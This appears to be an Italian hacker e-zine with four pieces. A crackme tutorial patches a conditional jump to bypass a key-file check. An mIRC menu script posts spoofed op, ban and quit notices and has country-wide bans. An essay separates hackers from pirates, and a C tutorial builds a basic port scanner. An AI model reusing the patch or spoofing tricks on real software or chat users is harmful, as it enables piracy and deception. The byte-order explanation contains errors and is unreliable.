Se il bottone che ha inviato il mex è il bottone di richiesta info il prog stampa una messagebox
con dentro alcune cazzate ma a noi interessa l'altro caso:
quello del bottone registra :)))
loc_0_4010A3: ; CODE XREF: start+8Cj
cmp [ebp+10], 2 ; LOWORD WPARAM == 2 ovvero se il
; messaggio WM_COMMAND proviene dal bottone
; con ID = 2 cio il bottone CHECK
jz check_routine
jmp short $+2 ; Se no procede al codice seguente
Se il codice del bottone è 2 (ebp+10==2) allora bingo, ecco la routine di controllo x la
registrazione :)))
check_routine: ; CODE XREF: start+A7j
push 0
push offset unk_0_402196 ; Addr del buffer dove leggere i dati
push offset aRitzkey_key ; Nome del file da aprire
call j_OpenFile
cmp eax, 0FFFFFFFFh ; In caso di err jumpa alla beggar_off
jz short Beggar_off
push 0 ; No OVERLAPPED
push offset num_byte_letti ; Addr del buffer dove mettere il num
; dei byte letti
push 60h ; Num dei byte da leggere
push offset iniz_file ; Addr del buffer dove mettere i byte letti
push eax ; hwnd del file
call j_ReadFile
cmp eax, 0 ; Se succedono degli err
jz short Beggar_off
xor edi, edi
xor ecx, ecx
Imm_nuovi_elem: ; CODE XREF: start+198j
mov eax, dword ptr ds:[edi+iniz_file] ; Carica in eax il contenuto del file
; 4 byte alla volta partendo dall'inizio
mov ebx, dword ptr ds:[edi+iniz_file+4] ; Carica in ebx 4 byte alla volta partendo
; dall'inizio + 4 byte
imul ebx ; ebx*eax ed il res messo nella quadword edx:eax
add eax, ebx ; eax=eax+ebx
loc_0_401187: ; CODE XREF: start+18Ej
add al, bl ; al=al+bl
dec bl ; bl=bl-1
cmp bl, 0
jnz short loc_0_401187 ; al=al+bl
add ecx, eax
add edi, 4 ; Si incrementa edi di 4 e si ricomincia
; il ciclo con altre doubleword
cmp edi, 5Ch ; Controlla se edi punta a 5C dato che
; 5C+4=60 e si arriva alla fine del file
jnz short Imm_nuovi_elem ; Carica in eax il contenuto del file
; 4 byte alla volta partendo dall'inizio
mov eax, ecx
imul ecx
imul edx
cmp eax, 0EF0BB1F8h ; confronto tra il serial esatto e quello calcolato dal file
jz short Good_guy ; se sono uguali è fatta :)
Beggar_off: ; CODE XREF: start+158j start+171j
push 0
push offset aRetry
push offset aCannotRegister
push 0
call j_MessageBoxA
jmp loc_0_4010AF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Good_guy: ; CODE XREF: start+1A5j
push 0
push offset aYeah
push offset aGreatReverserY
push 0
call j_MessageBoxA
call j_ExitProcess
Eccoci giunti alla parte + importante del prog: la routine che registra il programma :)))
Vediamo subito che il programma cerca di aprire un file mediante l'api OpenFile() il cui nome è
contnuto all'indirizzo della var aRitzkey_key e che vi mostro subito:
aRitzkey_key db 'RitzKey.key',0 ; DATA XREF: start+14Bo
Bene ora sappiamo il nome del file che il prog desidera aprire, infatti vediamo che in caso di
fallimento (in quel caso eax==FFFFFFFFh) il prog jumpa alla beggar off ovvero alla sezione di
codice che dice che il prog non può essere registrato bla bla bla :)))
A questo punto procedendo nell'analisi notiamo che il prog tenta di leggere 60h = 96d bytes dal
file mediante l'api ReadFile() il cui prototipo è:
BOOL ReadFile (
HANDLE hFile,
LPVOID lpBuffer,
DWORD NumberOfBytesToRead,
LPDWORD lpNumberOfBytesRead,
LPOVERLAPPED lpOverlapped )
Sempre analizzando i push in ordine inverso notiamo che viene pushato l'handle del file che è
in eax in quanto è stato restituito dalla precedente chiamata ad OpenFile() (la quale ritorna
in eax l'handle del file se esso viene aperto con successo), poi un indirizzo di memoria che sarà
il buffer in cui andranno a finire i byte letti in caso di successo, dopodiche viene indicato
il numero dei byte da leggere (in questo caso indica anche la lunghezza del file dato che non
vi sono successive chiamate a ReadFile() o controlli sulla lunghezza,...)
che è 60h = 96d bytes, dopodiche viene pushato un altro indirizzo di mem indicante un buffer
che verrà riempito con il valore del numero di byte letti (è utile nel caso che il file sia +
corto di 60h = 96d bytes o se non si riesce a completare la lettura x colpa di errori vari,...)
ed infine un parametro OVERLAPPED che noi ignoriamo.
Se succede qualche errore (eax!=0) il prog jumpa ancora alla beggar off altrimenti procede
nel controllo del contenuto del file:
da questo punto in poi la routine è + che altro matematica e di conseguenza la possiamo tralasciare:
quello che fa è prendere 2 doubleword alla volta dal file, una successiva all'altra, e poi
moltiplicarle e sommarle fra loro, se qualcuno di voi si vuole divertire a invertire l'algoritmo
buon x lui ma io non ne ho voglia e preferisco pathcare :)))
Il punto che a noi interessa di + è:
cmp eax, 0EF0BB1F8h
jz short Good_guy
In queste righe vengono confrontati il serial calcolato dall'elaborazione del nostro file con un
valore fisso interno al prog, se sono uguali il programma jumpa alla routine di congratulazioni :)))
Tutto ciò che dobbiamo fare è fare in modo che il programma jumpi sempre a quella routine
trasformando il jz in un jmp :)))
Devo ringraziare tutti i ragazzi della uic xkè anche io mi sto piano piano avviando sulla strada
del reversing e soprattutto Brigante (che ha avuto la pazienza di aspettarmi) e Devil che sa solo
lui come fa a sopportarmi :)))
Ciao
NikDH
==========================================================================================
-------------------------------------
Creazione di uno script [terza parte]
-------------------------------------
A quest punto penso che abbiamo cominciato a capire il funzionameto per creare script e le
varie funzioni qundi presento la creazione di un menù più impegnativo, non tanto in complessità
ma in quantità di comandi diversi anche se di uso comunque, come per esempio l' OP, il kick, etc..
Lo script che seguirà sarà composto da un' unico file ma con 2 script interni che lo dividono in
modo che alcune cose appaiano nel menubar e nella status (ed altre vengano nascoste)ed altre nel
channel e nella nicklist.
Ricordo che il "$me" rappresenta il vostro attuale nick e viene sostituito automaticamente da Mirc
all' esecuzione del comando. $$1 rappresenta il nick selezionato nella nicklist che viene sostitui
to automaticamente dal Mirc all' esecuzione del comando. # rappresenta il nome del canale in cui
siete (intendo al momento che usate il comando che lo include) e viene sostituito automaticamnte
da Mirc all' esecuzione del comando.
Si si... sono ripetitivo lo sò :-) ma ond' evitare errori meglio ripetere..
Cominciamo creando un nuovo file .mrc (per esempio user.mrc) ed inseriamo il seguente script:
menu menubar,status {
&USER Action
.User Modes
..Invisibility
...On:/mode $me +i
...Off:/mode $me -i
..Wall-Ops
...On:/mode $me +w
...Off:/mode $me -w
..Server Notices
...On:/mode $me +s
...Off:/mode $me -s
Invia CTCP
.Ping:/ctcp $$1 ping | /echo 7*** $me is pinging $$1
.Page:/ctcp $$1 page $$?="Page Message?"
.Finger:/ctcp $$1 finger | /echo 7*** Sending Finger
.Help:ctcp $$1 help
.Version:/ctcp $$1 version
.Time:/ctcp $$1 time
.-
.Userinfo:/ctcp $$1 userinfo | /echo 7*** Finding User-info about $$1
.ClientInfo:/ctcp $$1 clientinfo | /echo 7*** Finding Client-info about $$1
.Finto:/ctcp $$1 $$?="CTCP? (eg. ping)
}
menu channel,nicklist {
&USER Action
.Controlz
..DNS:/dns $$1
..Fake Commands
...OP: /msg 3,0*** $me sets mode: +o $1
...DeOP: /me 3,0*** $me sets mode: -o $1
...Ban { /me 3,0*** $me sets mode: +b $address($1,3) | /me 3,0*** $1 was kicked by $me (kick, ban) }
...Unban { /me 3,0*** $me sets mode: -b $address($1,3) }
...Voice: /me 3,0*** $me sets mode: +v $1
...DeVoice: /me 3,0*** $me sets mode: -v $1
...-
...Quit Yourself:/me 2,0*** Quits: $me (E ci credete anche.....hahaha..)
...Quit for Someone Else:/me 2,0*** Quits: $$1 (Leaving)
...Part Yourself:/me 3,0*** Parts: $me $address($1,1)
...Part for Someone Else:/me 3,0*** Parts: $$1 $address($1,1)
...-
...Mass OP:/me 3,0*** sets mode: +ooooooooo $1 $$2 $$3 $$4 $$5 $$6 $$7 $$8 $$9
...Mass DeOP:/me 3,0*** sets mode: -ooooooooo $1 $$2 $$3 $$4 $$5 $$6 $$7 $$8 $$9
...Mass Voice:/me 3,0*** sets mode: +vvvvvvvvv $1 $$2 $$3 $$4 $$5 $$6 $$7 $$8 $$9
...Mass DeVoice:/me 3,0*** sets mode: -vvvvvvvvv $1 $$2 $$3 $$4 $$5 $$6 $$7 $$8 $$9
..-
..OP/DeOP:/mode # +o $$1 | /mode # -o $$1
..Special Sop\Aop
...Op:/msg chanserv op $$?="Enter channel:" $$1
...Deop:/msg chanserv mdeop $$?="Enter channel:" $$1
...-
...MassDeop:/msg chanserv mdeop $$?="Enter channel:"
...MassKick:/msg chanserv mkick $$?="Enter channel:"
..-
..Ignore
...Ignore:/ignore $$1 1 | /echo 7*** $$1 è nella tua ignore-list | /msg $$1 shit listed By $me | /msg $$1 7*** You are in my ignore-list !!!
...Unignore:/ignore -r $$1 1 | /echo 7*** $$1 non è più ignore-list | /msg $$1 removed from shit list By $me | /msg $$1 7*** You are no longer in my ignore-list !!!
..-
..OP:/mode # +ooooooooo $$1 $2 $3 $4 $5 $6 $7 $8 $9
..DeOP:/mode # -ooooooooo $$1 $2 $3 $4 $5 $6 $7 $8 $9
..Voice:/mode # +vvvvvvvvv $$1 $2 $3 $4 $5 $6 $7 $8 $9
..DeVoice:/mode # -vvvvvvvvv $$1 $2 $3 $4 $5 $6 $7 $8 $9
..Cool Kicks
...Can't Hear You:/kick $$1 Excuse me...I didn't hear you well...
...Burn In Hell:/kick $$1 Burn in hell lamer
...Die:/kick $$1 Die You Ugly Fuck !!!
...Go To Hell:/kick $$1 Go to hell !
...GTF Out:/kick $$1 Just get the fuck out a here !
...Lamers Suck:/kick $$1 Lamers suck !
...No Idiots Allowed:/kick $$1 No idiots allowed here...that's YOU
...See Ya:/kick $$1 See ya !
...See Ya In Hell:/kick $$1 See ya in hell asshole !
...Thanks 4 Sharing:/kick $$1 Thanks for sharing
...You Suck:/kick $$1 You suck !
..Kick:/kick # $$1 kicked by $me
..Kick (why?):/kick # $$1 $$?="Reason for Kicking:"
..Ban, Kick:/kick # $$1 kick-ban by $me | /ban $$1 2 | /kick # $$1 Turn off Auto-Rejoin! | /kick # $$1 I`m warning you !!! | /kick # $$1 OK, You`re Banned for life !!!
..Ban, Kick (why?):/kick # $$1 $$?="Reason for Ban/Kick:"
..-
..Ban
...*!*@*.domain:/ban $* 4
...*!*@host.domain:/ban $* 2
...*!*user@*.domain:/ban $* 3
...*!*user@host.domain:/ban $* 1
...-
...nick!*@*.domain:/ban $* 9
...nick!*@host.domain:/ban $* 7
...nick!*user@*.domain:/ban $* 8
...nick!*user@host.domain:/ban $* 6
...nick!user@host.domain:/ban $* 5
..Country Bans
...A-G
....Australia: /mode $chan +b *!*@*.au
....Belgium: /mode $chan +b *!*@*.be
....Bolivia: /mode $chan +b *!*@*.bo
....Brazil: /mode $chan +b *!*@*.br
....Canada: /mode $chan +b *!*@*.ca
....Chile: /mode $chan +b *!*@*.cl
....China: /mode $chan +b *!*@*.cn
....Denmark: /mode $chan +b *!*@*.dk
....Egypt: /mode $chan +b *!*@*.eg
....Finland: /mode $chan +b *!*@*.fi
....France: /mode $chan +b *!*@*.fr
....Germany: /mode $chan +b *!*@*.de
....Greece: /mode $chan +b *!*@*.gr
...-
...H-P
....Hong Kong: /mode $chan +b *!*@*.hk
....Indonesia: /mode $chan +n *!*@*.id
....Ireland: /mode $chan +b *!*@*.ie
....Italy: /mode $chan +b *!*@*.it
....Japan:/mode $chan +b *!*@*.jp
....Korea: /mode $chan +b *!*@*.kr
....Lebanon: /mode $chan +b *!*@*.lb
....Malaysia: /mode $chan +b *!*@*.my
....Mexico: /mode $chan +b *!*@*.mx
....il Neilrlands: /mode $chan +b *!*@*.nl
....New Zealand: /mode $chan +b *!*@*.nz
....Norway: /mode $chan +b *!*@*.no
....Pakistan: /mode $chan *!*@*.pk
....Peru: /mode $chan +b *!*@*.pe
....Poland: /mode $chan +b *!*@*.pl
....Portugal: /mode $chan +b *!*@*.pt
...-
...R-Z
....Russia: /mode $chan +b *!*@*.ru
....Singapore: /mode $chan +b *!*@*.sg
....Slovenia: /mode $chan +b *!*@*.si
....South Africa: /mode $chan *!*@*.za
....Spain: /mode $chan +b *!*@*.es
....Sweden: /mode $chan +b *!*@*.se
....Switzerland: /mode $chan +b *!*@*.ch
....Turkey: /mode $chan +b *!*@*.tr
....il U.K.: /mode $chan +b *!*@*.uk
....Venezuela: /mode +b *!*@*.ve
....Yugoslavia: /mode $chan +b *!*@*.yu
..-
..Timed Ban: {
/set %ban $?="Seconds For Ban"
/ban -u $+ %ban $$1 3
/kick # $$1 Banned for %ban seconds by $me
/unset %ban
}
.-
.User Modes
..Invisibility
...On:/mode $me +i
...Off:/mode $me -i
..Wall-Ops
...On:/mode $me +w
...Off:/mode $me -w
..Server Notices
...On:/mode $me +s
...Off:/mode $me -s
Invia CTCP
.Ping:/ctcp $$1 ping | /echo 7*** $me is pinging $$1
.Page:/ctcp $$1 page $$?="Page Message?"
.Finger:/ctcp $$1 finger | /echo 7*** Sending Finger
.Help:ctcp $$1 help
.Version:/ctcp $$1 version
.Time:/ctcp $$1 time
.-
.Userinfo:/ctcp $$1 userinfo | /echo 7**
* Finding User-info about $$1
.ClientInfo:/ctcp $$1 clientinfo | /echo 7*** Finding Client-info about $$1
.Finto:/ctcp $$1 $$?="CTCP? (eg. ping)
}
I comandi che fanno parte dello script come vedete sono quelli utilizzati normalmente
soltanto scritti in modo da renderli selezionabili da un menu alcuni possono essere solo
utilizzati se si possiede l' op e se si è in Aop/Sop list altri si possono utilizare sempre
anche senza avere l OP.
Unico appunto particolare può essere per il ban che è molto esteso, si tratta infatti di un
ban che non viene applicato in base al nick ma in base alla Mask ossia dal tipo di localiz
zazione geografica in cui si trova per esempio:
....Italy: /mode $chan +b *!*@*.it
questo setta un ban nel canale valido per tutte le mask con estensione .it ossia sono bannati
tutti gli italiani.
L' estensione di tale menu perciò è data dalla presenza di una lista molto lunga di molte
localizzazioni geografiche famose per cui non necessita la modifica oppure il fatto di dover
digitare il comando ma solo selezionare la Mask da bannare desiderata dal menu.
Per quanto riguarda l' attivazione di questo menu non ci resta altro da fare (come al solito)
di creare il link nel mirc.ini in [rfiles] proseguendo il listato.
Ora aprite il vostro Mirc collegatevi ed esplorate questo nuovo menu per rendervi meglio conto
di come è composto.
P.S. I comandi indicati con CTCP si basano su un protocollo che è il "Client To Client Protocol"
che serve ad inviare comandi al client del nick selezionato per avere informazioni riguardo
alcune impostazioni, la versione del client ed altre cosettine carine :-)
Invece il DCC si basa su un' altro protocollo che è il "Direct Client to Client" utilizzato per
la spedizione di file per esempio.
By Darkman
===============================================================================================
-------------------------
Hacking e disinformazione
-------------------------
Intro
Questo è il mio primo articolo, anche se non mi sono proprio conformato con lo stile degli altri
articoli e ho scritto un pezzo quasi aulico (ma quando mai???:-)) penso sia importante per la
comunità italiana, in generale, cercare di impegnarsi visto che siamo molto pochi a quanto vedo
rispetto ai doc in inglese; magari cercando anche di collaborare con le e-zine e crew tra virgo
lette minori che noto con piacere stanno fiorendo in canali irc sempre più affollati da favolosi\
E italiani\E. FORZA PATRIOTI SIAMO SEMPRE I MIGLIORI!
Hacking e Disinformazione by Mave
Ogni tanto mi schifo nel vedere come certi articoli di certi giornalisti, in giornali più o meno
specialistici (non faccio nomi ma... chi vuol capir capisca), parlino con mooolta leggerezza di
questo o quel problema che riguarda il web (recentemente l'attacco a Yahoo! e il sequestro di
alcuni numero di carte di credito), confondendo in modo pauroso termini informatici e spacciandosi
per presunti esperti con tanto inappropriate quanto inesatte citazioni tecniche. La cosa che da
più disgusto è l'abuso del termine "hacker", usato per indicare dal genio maligno al ragazzino
che "entra nel computer" di terzi col netbus!
Insomma quanti saprebbero descrivere, fuor di metafora, ciò che è successo davvero nel tanto romanzato
"attacco" a Yahoo? Quanti, che invocano legislazioni più severe, conoscono l'Italian Crackdown del
1994 in cui la giustizia italiana si è ridicolizzata davanti al mondo col sequestro di tappetini
per mouse? Quanti soprattutto sanno la vera differenza tra HACKER e PIRATA, due termini quasi
antitetici ma che ancora ci si ostina a ritenere sinonimi, con conseguente disinformazione e confusione???
Una volta per tutte (speriamo bene!): l'HACKER, quello vero, è una figura assolutamente positiva,
CONOSCE (conoscenza è potere, ricordatelo sempre) e vuole essere libero di conoscere, senza secondi
fini... Egli inoltre segue, anche nella vita, una sua filosofia, che, rapportata al mondo dei computer
e di Internet, dimostra la sua etica: arrivati a un certo punto (nemmeno troppo in alto, credetemi...)
nella conoscenza del funzionamento della ragnatela mondiale è facile sapere tutto di tutti, truffare e
rubare grazie a conoscenze acquisite "penetrando" in sistemi gestiti da amministratori incompententi o
intercettando il traffico spesso non criptato di gente disinformata e ignara (sniffing). Ebbene l'
hacker (quello vero) ha accesso ha queste informazioni, sa reperirle in vari modi (rischiando!), ma
non lo fa a scopo di lucro, semplicemente perché non gli interessa, non è un truffatore né tantomeno
un ladro. Lui vuole solo capire il funzionamento delle cose, nella fattispecie dei computer. Questo è
l'Hacker, vi sembra corrispondere alla descrizione che hanno inculcato nelle nostre menti i mass media?
Tutto il resto, tutta la feccia di ladri e truffatori "nuova generazione" che si aggira su Internet,
anche con alte conoscenze, è il Pirata; specie degenerata dell'originario Hacker, che come fine ultimo
non ha la conoscenza, ma il lucro. E' pertanto assolutamente ridicolo chiamare Hacker chi masterizza
cd per poi rivenderli!
Impossibile andare oltre la distinzione Hacker/Pirata; Internet nasce e si sviluppa con una forte
matrice anarchica, che è propulsore stesso del suo sviluppo esponenziale. Abbiamo tra le mani uno
strumento potentissimo che ha azzerato tempi e costi di comunicazione e informazione: non rovinate
tutto con la disinformazione, non chiamate né considerate "hacker" il ragazzino pirata che ha bloccato
le linee di Yahoo!; se ne compiace e gli date così quello che vuole (all'ipotesi del complotto ci
credo poco). Chiamatelo "lamer" piuttosto, vedrete che la prossima volta ci penserà su due volte
prima di fare il danno, sapendo che c'è gente preparata pronta a raccontare (fuor di metafora), e
a commentare, magari giudicandole (perché no?), le sue "eroiche gesta".
Mave
maverick@freeonline.zzn.com
====================================================================================================
_________________________________________________________________________
TUTORIAL: Come scrivere un semplicissimo portscan in C
partendo da zero
by --[ fritz ]--
________________________________________________________________________
-------[ Introduzione
Be', partendo da zero e' un po' blasonante, almeno qualche nozione base
del C dovete averla, ma non sono richieste conoscenze di programmazione in
ambiente di networking (anche perche' altrimenti sapreste forse gia'
scriverlo).
Un portscanner, nel remotissimo caso che non lo sappiate, e' uno strumento
che essenzialmente serve per sapere quali servizi offre un determinato
server. Quest'informazione noi potremmo acquisirla non mandando una mail
all'amministratore, ma facendo dei tentativi, ovvero provando a
connetterci ad ogni servizio e verificandone la sua presenza. Tutto cio'
puo' essere automatizzato, ed e' questo il compito di un portscanner.
[vabbe' dai questa potevo evitarla, se state leggendo qui saprete di certo
cos'e' un portscanner, ma almeno ho risolto il problema di come iniziare
l'articolo :) ]
Ce ne sono in giro di tutti i tipi, dai piu' semplici che provano
la semplice connessione ai piu' elaborati che cercano di farlo in tutta
trasparenza, ovvero senza che il sysadmin lo venga a sapere, e usando
le tecniche piu' raffinate che presupppongono una buona conoscenza dei
protocolli di comunicazione. Quello che illustro io e' del piu' semplice
e meno trasparente, insomma 'na fetecchia :)
E' utile solo a scopo didattico, come base per poi iniziare a programmare
seriamente.
Questo semi-tutorial ha come riferimento il C/ANSI e le librerie UNIX, ma
con poca fatica si fa il porting per dos (basta cambiare forse il nome
degli include e basta o poco piu')
-------[ Veniamo al dunque
In UNIX, come dice l'ottima guida "Beej's Guide to Network Programming"
(http://www.ecst.csuchico.edu/~beej/guide/net): "tutto e' un file", e
quindi viene trattato come se si stesse parlando di file. Io aggiungerei
che anche in C tutto e' un file, e quindi anche le connessioni vengono
trattate quasi nella stessa maniera
Continuando la metafora, potrei dire che un port-scanning e' in C come il
cercare di aprire un po' di files, ciascuno con un nome
formato da un numero incrementale, e riportare alla fine quanti se ne e'
riusciti ad aprire.
Una programma del genere in C si scrive al volo:
#include <stdio.h>
main()
{
int n;
FILE *fp;
char nome_file[10];
for (n=1;n<1025;n++)
{
sprintf (nome_file,"file_%d",n);
if ( (fp=fopen(nome_file, "r")) != NULL )
printf("\nfile %s trovato!",nome_file);
}
}
Una volta compilato ed eseguito, si mette a cercare nella directory
corrente se ci sono i file che cerca (dal nome "file_NUMERO", in cui
numero e' variabile da 1 a 1024) e se ne trova uno, ci avvisa.
Lo stesso si fa con i port-scanner, solo che al posto di "fopen()" si usa
"connect()", ed esiste una funzione in piu' per creare il descrittore di
file: la funzione "socket()". Per il resto e' tutto simile.
I tipi di dati che vengono utilizzati in questo articolo sono
int sock;
[il descrittore di un socket e' banalmente un "int"]
e un particolare tipo per contenere le informazioni sul servizio al quale
ci stiamo connettendo, la struttura
struct sockaddr_in {
short int sin_family; // info sul protocollo da utilizzare
struct in_addr; // contenente l'indirizzo del server
unsigned short int sin_port; // porta alla quale si tenta la connessione
unsigned char sin_zero[8]; // per motivi di compatibilita'
}
A sua volta la struttura in_addr e' cosi' definita:
struct in_addr {
unsigned long int s_addr; // ip del server
}
Questa struttura verra' passata alla funzione "connect()" come si passa
per lo stesso motivo il nome del file alla funzione "fopen()".
La novita', come gia' accennato, e' che qui non basta definire un
descrittore tramite una dichiarazione di variabile (quello che per il caso
di prima era semplicemente "FILE *fp;"), ma c'e' una funziona apposita che
li crea, la funzione socket():
#include <sys/types.h>
#include <sys/socket.h>
int socket(int domain, int type, int protocol);
in cui i parametri da passare sono:
-int domain --> la famiglia di protocolli da utilizzare, ovvero IP
piuttosto che IPX o appletalk o altri
-int type --> la "semantica" per costruire pacchetti
-int protocol --> altre eventuali specificazioni
Il valore restituito e' il descrittore o -1 nel caso di errore.
Nel nostro caso, che rappresenta il piu' comune, si vuole creare un socket
per comunicare su internet con protocollo IP tramite TCP e il
socket giusto (il descrittore di file che verra' usato) sara creato con:
int sock;
sock=socket(AF_INET, SOCK_STREAM, 0);
[per ulteriori info `man 2 socket` :) ]
Il valore restituito come gia' detto e' il descrittore che stavamo
cercando, e tutte le operazioni di connessione, lettura e invio dati
faranno riferimento a questo numero.
Il passo successivo e' quello di tentare di instaurare la connessione, e
poi verificare quale esito ha avuto, e lo si fa tramite connect():
#include <sys/types.h>
#include <sys/socket.h>
int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);
Qui i parametri passati sono:
int sockfd --> il socket precedentemente creato
const struct sockaddr *serv_addr --> la struttura contenente le informazioni
necessarie alla connessione (ip,
porta, protocollo)
NB: viene passata come puntatore.
socklen_t addrel --> la lunghezza della struttura passata,
si calcola tranquillamente con sizeof()
E viene restituito un valore come risultato della connect():
- se e' tutto ok, ritorna 0
- se c'e' stato qualche errore e la connessione non s'e' potuta
instaurare, ritorna -1
Ora, 2 precisazioni:
- qui viene usata una struttura diversa da quella vista prima, la
sockaddr: nessun problema, noi usiamo la sockaddr_in previa conversione
di tipo cast: se avevamo dichiarato
struct sockaddr_in indirizzo;
ora nella connect() la useremo come
connect( sock,(struct sockaddr*) &indirizzo, sizeof(indirizzo));
ovvero usiamo la sockaddr_in precedentemente definita, ma convertita in
struct sockaddr (ecco perche' la presenza di unsigned char sin_zero[8]
nella prima, per garantire la stessa dimensione in queste conversioni)
- byte order, ovvero leggi il paragrafo successivo
-------[ Byte Order
Gli indirizzi ip vengono memorizzati sotto forma di unsigned long int.
quindi saremmo portati a credere che, per esempio, 127.0.0.1 venga
memorizzato come (conversione 4 numeri a base 256 in un numero a base 10):
127.0.0.1 = 127*256^3 + 0*256^2 + 0*256 + 127 = 2130706559
oppure 212.216.10.20:
212.216.10.20 = 212*256^3 + 216*256^2 + 10*256 + 20 = 3570928148
fino a 255.255.255.255:
255.255.255.255 = 255*256^3 + 255*256^2 + 255*256 + 255 = 4294967295
(NB=quest'ultimo valore e' uguale a (2^32)-1, quindi un unsigned long
int e' pienamente utilizzato per memorizzare un indirizzo ip).
Questo e' sbagliato: e' la famosa questione del byte order (thx a
Lord Felix che per primo mi avevo spiegato l'arcano tempo fa dopo mie
ripetute bestemmie sul compilatore cercando di capire perche' il mio
primo progr con i socket non funzionasse).
Il byte order e' semplicemente l'ordine con cui i sistemi considerano i
byte piu' significativi, ovvero se da sinistra o se da destra.
Il Network Byte Order, ovvero la regola usata per comunicare, considera
l'ultimo byte quello piu' significativo mentre l'Host Byte Order, quello
usato dalla maggiornaza dei sistemi operativi, considera come piu'
significativo il primo. quindi quello che per noi e' 127.0.0.1, quando
scriviamo applicazioni in C (e penso anche per altri linguaggi) va
trasformato in 1.0.0.127, e 212.216.10.20 diventa 20.10.216.212.
Quindi avremo:
127.0.0.1 --> 1.0.0.127 = 256^3*1 +256^2*0 + 256*0 + 127 = 16777343
212.216.10.20 --> 20.10.216.212=20*256^3+10*256^2+216*256+212=336255188
255.255.255.255 resta invariato, anche al contrario e' sempre uguale.
NB: non e' necessario ogni volta mettersi a fare questi calcoli, esistono
funzioni apposite, per esempio:
unsigned long int inet_addr(const char *cp);
che da un ip scritto nella notazione standard visto come stringa di
caratteri (ad esempio "127.0.0.1") calcola il corrispondente unsigned long
gia' nel Network Byte Order (senza costringerci a troppe seghe mentali),
mentre
char *inet_ntoa(struct in_addr in);
Dalla struttura sockaddr_in.in_addr (quella che contiene solo l'unsigned
long int dell'ip, per intenderci) ci restituisce un puntatore ad una
stringa di caratteri della notazione standard che ci piace tanto :)
Lo stesso discorso si applica non solo per gli indirizzi ip, ma anche, per
esempio, per in numero che identifica la porta alla quale ci si vuole
collegare, che va scritta nel Network Byte Order. Per non costringerci ad
inutili calcoli su come traformare un unsigned short int (be', dai, nulla
di complicato, basta scriverlo in base 256 e invertire i due
numeri) esistono anche qui funzioni apposite, ad esempio:
unsigned short int htons(unsigned short int hostshort);
il cui nome, htons, significa Host_TO_Network_Short, che useremo per
convertire il numero della porta dall'Host Byte Order (23, 80, 31337) al
Network Byte Order (5888, 20480, 27002)
-------[ Let's go
Ok, mi sembra di aver detto quasi tutto cio' che serve sapere per poter
scrivere un semplice port-scanner, quindi iniziamo :-)
Lo scrivo direttamente come codice, commentando le varie spiegazioni, in
modo tale che sia subito compilabile senza dover controllare riga per riga
alla ricerca di commenti da cancellare:
------------<inizia qui>------------
// questi sono gli include standard che servono per questo programma
// per sapere per ogni funzione quale libreria e' necessaria, le man pages
// sono un ottimo aiuto
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
// nota: stando alle man pages, i file include da aggiungere sarebbero
// molti di piu', ma spesso capita che siano ridondanti: ad esempio
// in sys/socket.h c'e' gia' la riga "#include <sys/types.h>", quindi
// e' abbastanza inutile metterla anche qui
main(int argn, char **argv)
{
// cominciamo a dichiarare le variabili prima descritte
struct sockaddr_in indirizzo;
int porta, sock, z;
// un controllo sull'input evita antiestetici seg.fault :)
if (argn!=4) {printf("\nUsage: %s <ip> <porta_iniziale>"
"<porta_finale>\n",argv[0]);
exit(0);}
// ora inizia subito il ciclo che fara' scannare tutte le porte comprese
// tra le due specificate nella command line
for (porta=atoi(argv[2]); porta<=atoi(argv[3]); porta++)
{
// creo il socket con una verifica di eventuali errori, e se ritorna un
// valore uguale a "-1" si e' verificato un errore, altrimenti...
if ((sock=socket(AF_INET, SOCK_STREAM, 0))==-1) perror("Socket:");
else {
//... comincio a riempire i campi della struttura sockaddr_in
// nota che uso inet_ntoa() con l'ip scritto nella riga di comando
// e htons(porta) per la questione del byte order prima descritta
// Tale struttura ricordo che sempre in riferimento all'analogia con
// il programmino che cerca di aprire i file, fa le veci del nome del file
// comprensivo di modalita' in cui aprirlo e leggerlo
indirizzo.sin_family=AF_INET;
indirizzo.sin_addr.s_addr=inet_addr(argv[1]);
indirizzo.sin_port=htons(porta);
// cerco di instaurare la connessione (analoga a fopen() ),
// e se questa avviene...
if (z=connect(sock,(struct sockaddr*) &indirizzo,
sizeof(indirizzo))==0)
// ... avviso l'utente con un printf()
printf ("\nfound port %d open!", porta);
// infine, finito il singolo ciclo, chiudo il socket che ormai non serve
// piu', esattemante come quando chiudo un file che ho appena letto
}
close (sock);
}
}
------------<finisce qui>------------
Non sembra poi cosi' difficile vero? :-)
-------[ Conclusioni
Ok, con questo breve tutorial un lettore estraneo alla programmazione in
ambiente di networking ma con solo una discreta conoscenza del C dovrebbe
aver almeno afferrato i concetti base su come funziona il tutto.
Il passo successivo e' la lettura di una buona guida (come gia' accennato
prima la "Beej's Guide to Network Programming"
-http://www.ecst.csuchico.edu/~beej/guide/net- e' fatta molto bene, ma non
e' l'unica, basta una connessione ad altavista e cercare "socket tutorial"
o "sockets tutorial") e tante prove.
Buono studio :)
--[ fritz ]--
Club SpiPPoLaTorI
www.spippolatori.com